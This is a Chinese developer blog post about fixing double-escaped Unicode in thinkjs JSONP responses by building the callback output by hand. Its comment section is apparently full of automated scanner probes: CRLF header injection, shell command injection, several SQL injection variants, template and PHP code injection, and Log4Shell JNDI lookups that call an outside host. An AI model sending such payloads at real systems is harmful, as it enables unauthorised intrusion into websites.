做有态度的前端团队

网易FEG前端团队

解决thinkjs开发jsonp接口返回Unicode时的问题

前言

第一次使用thinkjs写后端,踩了不少坑,其中有一个坑想了很久,无奈网上关于thinkjs的教程还是偏少,问了不少人,耗时很久,所以在这里mark下。

问题

需求很简单,后端返回通过接口把数据返回给前端,因为考虑到跨域问题,接口选择采用jsonp形式。其实就是平台平时提供给我们的那些接口,想想自己也能写接口,还是很激动的!类似下面的接口:

QQ截图20170220105934.png

然后前端通过ajax请求接口,搞定!thingjs的controller本身就提供各种数据格式返回的封装。
比如,你要返回json格式,直接在controller里使用

async byrefererAction(self){
    let data = {
        success: false,
        msg: "非法请求来源"
    };
    return this.json(data);
}

如果要返回jsonp格式:

return this.jsonp(data);

很方便。调试一看,还是没完,和我们平时看到的平台接口还是有点不一样,为了解决低级浏览器乱码问题,人家返回的中文时Unicode编码的:

QQ截图20170220111107.png

所以我还要做一步转码工作,找了一遍,发现nodejs没有现成的转Unicode方法,通过大家自己写的一个小函数实现:

let toUnicode = (s)=>{
  if(s == '' || typeof s !== 'string') return s;
  s = s.replace(/[\u00FF-\uFFFF]/g,function($0){
      return '\\u'+$0.charCodeAt().toString(16);
  });
  return s;
}

所以加入转码后接口代码变成这样:

async byrefererAction(self){
    let toUnicode = (s)=>{
        if(s == '' || typeof s !== 'string') return s;
        s = s.replace(/[\u00FF-\uFFFF]/g,function($0){
            return '\\u'+$0.charCodeAt().toString(16);
        });
        return s;
    }
    let data = {
        success: false,
        msg: toUnicode("非法请求来源")
    };
    return this.jsonp(data);
}

一切看似很完美,但是结果却是这样的:

QQ截图20170220112119.png

QQ截图20170220112138.png

可以发现,接口返回在浏览器请求debug的response下看到的是\\u开头的,在preview下看到是\u开头的,然后通过js赋值到页面显示结果也还是\u的Unicode,而不是中文。所以结果是不对的,对比平台提供的接口,正常情况下,应该是response下看到的是\u开头的,然后在preview下看到的是中文才对了。

一度以为是转Unicode出了问题,比如说转的时候return '\u'+$0.charCodeAt().toString(16);直接用\u替换不就行了么?事实是不行的,这里用两个斜杠是因为第一个是转义用的,否则会直接编译错。
后来加入到thinkjs的群,在里面提问,其中有人提到了是jsonp的原因,因为jsonp里面会进行再次转义。
也就是说我拿到的data是转Unicode后的,然后再通过thinkjs提供的this.jsonp(data)或者this.json(data)后,就进行了再一次转义,导致接口返回的是\\u开头的。
如果真的是这个问题,那我可以自己组装jsonp格式返回,不使用thinkjs提供的吗?因为所谓jsonp,只是多了个callback。
所以往这个思路做了尝试:

async byrefererAction(self){
    let toUnicode = (s)=>{
        if(s == '' || typeof s !== 'string') return s;
        s = s.replace(/[\u00FF-\uFFFF]/g,function($0){
            return '\\u'+$0.charCodeAt().toString(16);
        });
        return s;
    }
    let data = {
        success: false,
        msg: "非法请求来源"
    };
    data = JSON.stringify(data);
    data = toUnicode(data);
    return this.end(`${this.param('callback')}(${data})`);
}

果然,得到的结果终于是正确的了:

QQ截图20170220114030.png

QQ截图20170220114042.png

终于可以睡着了(~﹃~)~zZ

手机阅读请扫描下方二维码:

已有 204 条评论

  1. floyd

    原来一切都是jsonp的锅,以前都是直接utf-8编码返回中文,没有这个烦恼 ali-61.gif

  2. 0KeeTeam

    0KeeTeam

  3. 0KeeTeam

    0KeeTeam

  4. 0KeeTeam

    0KeeTeam

  5. 0KeeTeam

    0KeeTeam

  6. 0KeeTeam

    0KeeTeam

  7. 0KeeTeam

    0KeeTeam

  8. tweeykuibibdvdxityik

    0KeeTeam

  9. 0KeeTeam

    0KeeTeam
    CRLF-Header:CRLF-Value

  10. 0KeeTeam

    0KeeTeam%0d%0aCRLF-Header:CRLF-Value

  11. 0KeeTeam

    0KeeTeam

  12. 0KeeTeam

    0KeeTeam

  13. 0KeeTeam

    0KeeTeam

  14. 0KeeTeam

  15. 0KeeTeam

    0KeeTeam

  16. 0KeeTeam

    0KeeTeam

  17. 0KeeTeam

    0KeeTeam

  18. 0KeeTeam

    0KeeTeam

  19. 0KeeTeam%0d%0aCRLF-Header:CRLF-Value

    0KeeTeam

  20. 0KeeTeam|expr 996248139 + 908248416

    0KeeTeam

  21. 0KeeTeam

    0KeeTeam

  22. 0KeeTeam

    0KeeTeam'and/**/extractvalue(1,concat(char(126),md5(1278359945)))and'

  23. 0KeeTeam

    0KeeTeam

  24. 0KeeTeam

    0KeeTeam

  25. 0KeeTeam

    0KeeTeam

  26. 0KeeTeam

    0KeeTeam

  27. 0KeeTeam

    0KeeTeam

  28. 0KeeTeam

    0KeeTeam

  29. 0KeeTeam

    0KeeTeam
    expr 898338261 + 841328709

  30. 0KeeTeam

    0KeeTeam|expr 922628588 + 840187536

  31. 0KeeTeam

  32. 0KeeTeam

    0KeeTeam'//and(select'1'from//pg_sleep(0))>'0

  33. 0KeeTeam

    0KeeTeam'//and(select'1'from//pg_sleep(2))>'0

  34. 0KeeTeam

    0KeeTeam'and(select+1)>0waitfor/**/delay'0:0:0

  35. 0KeeTeam

    0KeeTeam'and(select+1)>0waitfor/**/delay'0:0:2

  36. 0KeeTeam

    0KeeTeam'//and//DBMS_PIPE.RECEIVE_MESSAGE('i',0)='i

  37. 0KeeTeam

    0KeeTeam'//and//DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y

  38. 0KeeTeam

  39. 0KeeTeam

  40. Crawlergo

    Crawlergo

  41. Crawlergo

    Crawlergo

  42. Crawlergo

    Crawlergo

  43. Crawlergo

    Crawlergo
    CRLF-Header:CRLF-Value

  44. Crawlergo

  45. Crawlergo

    hilaknzpcpocgxuahmtu

  46. Crawlergo

    Crawlergo%0d%0aCRLF-Header:CRLF-Value

  47. Crawlergo

    Crawlergo\r\nCRLF-Header:CRLF-Value

  48. test

    test

  49. test

    test

  50. test

    test

  51. test

    test

  52. test

    test
    CRLF-Header:CRLF-Value

  53. test

    test

  54. test

    test%0d%0aCRLF-Header:CRLF-Value

  55. test

  56. %{42835*40713}

    test

  57. test

    test

  58. Crawlergo

    Crawlergo

  59. Crawlergo

    Crawlergo

  60. Crawlergo

    Crawlergo

  61. Crawlergo

    Crawlergo

  62. Crawlergo

    Crawlergo

  63. Crawlergo

    Crawlergo

  64. Crawlergo

    Crawlergo

  65. Crawlergo

    Crawlergo

  66. admin

    admin

  67. admin

    admin

  68. admin

    admin

  69. admin

    admin
    CRLF-Header:CRLF-Value

  70. admin

    admin

  71. admin

    admin

  72. admin

    admin

  73. admin

    admin%0d%0aCRLF-Header:CRLF-Value

  74. admin

    admin

  75. admin

    admin

  76. admin

    admin

  77. admin

    admin\r\nCRLF-Header:CRLF-Value

  78. admin

    admin

  79. admin

    admin

  80. admin

    admin

  81. admin

    ${@var_dump(md5(107561412))};

  82. admin

    admin

  83. admin%0d%0aCRLF-Header:CRLF-Value

    admin

  84. admin

    axtjoswitcmqhrukqasc

  85. ${jndi:ldap://mchgpzwatnobvrxe.author.feg.netease.com.None.log.3l8.pw/a}

    admin

  86. admin

    admin

  87. admin

    admin

  88. ${jndi:ldap://sjqdmzuyxhgbifva.author.feg.netease.com.None.log.3l8.pw/a}

    admin

  89. admin

  90. admin

    urmvdfjyhauiiuwpznzf

  91. test

    test

  92. test

    test

  93. test

    test

  94. test

    test

  95. test

  96. test

    test

  97. test

    test

  98. test

    test

  99. test

    test

  100. test

    test

  101. test

    test

  102. test
    &content;
  103. test

    %{40121*40855}

  104. test

    '+(41930*44440)+'

  105. igpsccivoqqcmjmigyoj

    test

  106. z';waitfor/**/delay'0:0:0'/**/--/**/

    test

  107. test

    test

  108. test

    test

  109. test

    test

  110. test

    test

  111. test

    test

  112. test

    test

  113. test

    test

  114. test

    test

  115. gvirejcbqmzkreqwbtzv

    test

  116. test

  117. /*1*/{{984899175+886569295}}

    test

  118. test

    test

  119. test

    test

  120. test

    test

  121. test

    test

  122. test

    test

  123. test

    test

  124. test

    test

  125. test

    test

  126. test

    test

  127. test

    test

  128. test

    test

  129. test

    test

  130. test

    test

  131. test

    test

  132. test

    test

  133. test

    test

  134. test

    test

  135. test

    test

  136. test

    test

  137. test

    test

  138. test

    test

  139. test

    test

  140. Crawlergo

    Crawlergo

  141. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  142. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  143. 1

    555

  144. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  145. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  146. 1

    1

  147. 1

    1

  148. 1

    1

  149. 1

    555

  150. 1

    1

  151. 1

    1

  152. 1

    1

  153. 1

    1

  154. 1

    1

  155. test

    test

  156. Crawlergo

    Crawlergo

  157. Crawlergo

    Crawlergo

  158. kextfpewzkgeqyvzfaeo

    Crawlergo

  159. Crawlergo

  160. Crawlergo

    kextfpewzkgeqyvzfaeo

  161. Crawlergo

    Crawlergo

  162. Crawlergo

    Crawlergo

  163. test

    test

  164. 1

    1

  165. 1

    555

  166. 1

    1

  167. 1

    1

  168. 1

    555

  169. 1

    1

  170. 1

    555

  171. 1

    1

  172. 1

    1

  173. test

    test

  174. 1

    1

  175. 1

    1

添加新评论

ali-40.gifali-41.gifali-42.gifali-43.gifali-44.gifali-45.gifali-46.gifali-47.gifali-48.gifali-49.gifali-50.gifali-51.gifali-52.gifali-53.gifali-54.gifali-55.gifali-56.gifali-57.gifali-58.gifali-59.gifali-60.gifali-61.gif